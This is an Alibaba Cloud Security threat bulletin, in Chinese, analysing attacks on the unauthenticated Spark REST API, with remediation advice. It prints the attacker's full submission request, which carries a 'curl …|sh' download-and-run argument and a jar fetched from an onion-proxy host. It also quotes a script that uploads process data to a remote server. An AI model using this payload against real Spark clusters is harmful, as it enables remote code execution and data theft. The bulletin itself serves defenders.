威胁快报| 首个Spark REST API未授权漏洞利用分析

本文涉及的产品
Web应用防火墙 3.0,每月20元额度 3个月
云安全态势管理CSPM免费试用,1000次1年
云安全中心漏洞修复资源包免费试用,100次1年
简介: 2018年7月7日,阿里云安全首次捕获Spark REST API的未授权RCE漏洞进行攻击的真实样本。7月9号起,阿里云平台已能默认防御此漏洞的大规模利用。 这是首次在真实攻击中发现使用“暗网”来传播恶意后门的样本,预计未来这一趋势会逐步扩大。

2018年7月7日,阿里云安全首次捕获Spark REST API的未授权RCE漏洞进行攻击的真实样本。7月9号起,阿里云平台已能默认防御此漏洞的大规模利用。

这是首次在真实攻击中发现使用“暗网”来传播恶意后门的样本,预计未来这一趋势会逐步扩大。目前全网约5000台 Spark服务器受此漏洞影响。阿里云安全监控到该类型的攻击还处于小范围尝试阶段,需要谨防后续的规模性爆发。建议受影响客户参考章节三的修复建议进行修复。

一、漏洞详情说明
Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎,是UC Berkeley AMP lab(加州大学伯克利分校的AMP实验室)所开源的类Hadoop MapReduce的通用并行框架。为了让使用者能够方便的控制系统进行计算和查看任务结果,Spark也提供了 WEB UI图形化界面和相应的 REST API来方便用户操作。

Spark作为大数据时代的”计算引擎”,一旦被攻破,企业的核心数据资产、计算能力、用户敏感数据都将被攻击者窃取;更进一步的,由于Spark自身的分布式特性,一个攻击点的攻破可能导致整个集群的沦陷。Spark权限设置不当,可能导致攻击者无需认证即可通过该 REST API来操作Spark创建任务、删除任务、查看任务结果等,从而最终获得执行任意指令的能力。

我们还原了攻击者的攻击步骤:

  1. 攻击者通过web扫描的方式发现了一台Spark webui服务
  2. 构造攻击指令,并通过6066端口发送到该服务器的REST API

    POST /v1/submissions/create
    host:xxxx.xxx.xx:6066
    { "action": "CreateSubmissionRequest", "clientSparkVersion": "2.1.0", "appArgs": [ "curl x.x.x.x/y.sh|sh" ], "appResource": "https://xxxx.onion.plus/SimpleApp.jar", "environmentVariables": { "SPARK_ENV_LOADED": "1" }, "mainClass": "SimpleApp", "sparkProperties": { "spark.jars": "https://xxxxxxxx.onion.plus/SimpleApp.jar", "spark.driver.supervise": "false", "spark.app.name": "SimpleApp", "spark.eventLog.enabled": "false", "spark.submit.deployMode": "cluster", "spark.master": "spark://x.x.x.x:6066" } }

    该攻击payload指示服务器远程下载https://xxxxxxxx.onion.plus/SimpleApp.jar ,并执行攻击者指定的任意方法,该攻击者还通过洋葱网络来隐藏自己的相关信息。

3.对该 jar 包进行逆向分析,该 jar 包即是一个简单的执行命令的后门,
执行 jar 包时,Spark服务器将会从洋葱网络中下载一段shell脚本并执行。
_

4.脚本内容如下:

!/bin/bash
ps ax --sort=-pcpu > /tmp/tmp.txt
curl -F "file=@/tmp/tmp.txt" http://x.x.x.x/re.php
rm -rf /tmp/tmp.txt

该脚本只是简单的将性能信息打印并回传,暂未进行进一步的攻击。

二、漏洞影响与变化态势
目前全网监控,开放了8080端口暴露在公网的Spark机器共有5000台左右,黑客可批量接管其中存在权限问题的机器。
在此之前,阿里云安全团队曾针对分布式计算系统相关的漏洞进行过预警
(详见:黑客利用Hadoop Yarn资源管理系统未授权访问漏洞进行攻击https://www.toutiao.com/i6552678121449980423/ )
这两个漏洞原理和利用方法非常相似,这也佐证了之前的预判。

随着加密货币经济的进一步繁荣,具有强大算力,但是较弱安全能力的分布式应用将面临更多的漏洞利用和黑客攻击。
由于Hadoop Yarn未授权漏洞在全网已经成为了黑客挖矿的一种重要手法,我们有理由相信Spark REST API漏洞也将很快被黑产利用。

三、安全专家建议
建议通过iptables或者安全组配置访问策略,限制对8088、8081、7707、6606等端口的访问;并且如无必要,不要将接口开放在公网,改为本地或者内网调用;
建议使用Spark的yarn控制模式,并且开启HTTP Kerberos对WEB UI进行访问控制;如采用Spark standalone模式,需要自行实现访问控制的jar包,并设置spark.ui.filters对WEB UI进行访问控制,
(详见:http://spark.apache.org/docs/latest/configuration.html#security

相关文章
|
7月前
|
SQL 分布式计算 Serverless
基于阿里云 EMR Serverless Spark 版快速搭建OSS日志分析应用
基于阿里云 EMR Serverless Spark 版快速搭建OSS日志分析应用
139 0
|
7月前
|
数据采集 安全 API
ChatGPT API漏洞可能导致DDoS和注入攻击
ChatGPT API漏洞可能导致DDoS和注入攻击
|
11月前
|
SQL 分布式计算 Serverless
EMR Serverless Spark:一站式全托管湖仓分析利器
本文根据2024云栖大会阿里云 EMR 团队负责人李钰(绝顶) 演讲实录整理而成
537 58
|
10月前
|
缓存 API 网络架构
掌握现代API开发:GraphQL vs REST
【10月更文挑战第24天】本文深入探讨了现代API开发中两种主流技术——GraphQL和REST的设计理念、技术特点及实际开发中的对比分析。GraphQL通过声明式数据请求和强类型系统提供更高的灵活性和性能,而REST则以其无状态特性和成熟的生态系统见长。文章还讨论了两者在客户端-服务器交互、安全性和工具支持方面的优劣,帮助开发者根据项目需求做出明智选择。
|
11月前
|
设计模式 数据采集 分布式计算
企业spark案例 —出租车轨迹分析
企业spark案例 —出租车轨迹分析
379 0
|
12月前
|
JSON 中间件 API
开发REST API3-11
开发REST API3-11
|
12月前
|
JSON JavaScript API
编写REST API
编写REST API
205 2
|
11月前
|
Java API Maven
使用 Smart-doc 记录 Spring REST API
使用 Smart-doc 记录 Spring REST API
237 0
|
XML 安全 API
REST 和 SOAP API 有什么区别?
【8月更文挑战第31天】
683 0
|
JSON API 数据安全/隐私保护
哇塞!Django REST framework 太逆天啦!构建 API 服务从未如此轻松,你还不来试试?
【8月更文挑战第31天】Django REST framework(DRF)是基于Django框架的高效Web API开发工具,提供序列化、视图集、路由等功能,简化API构建流程。使用DRF可轻松实现数据的序列化与反序列化,并支持权限管理和认证机制以保障API安全。安装DRF只需通过`pip install djangorestframework`命令。要创建基本项目,先安装Django并创建新应用,定义模型、序列化器及视图集,最后配置路由。测试API时,可通过Postman发送HTTP请求验证功能。无论项目大小,DRF均能提供强大支持。
162 0

热门文章

最新文章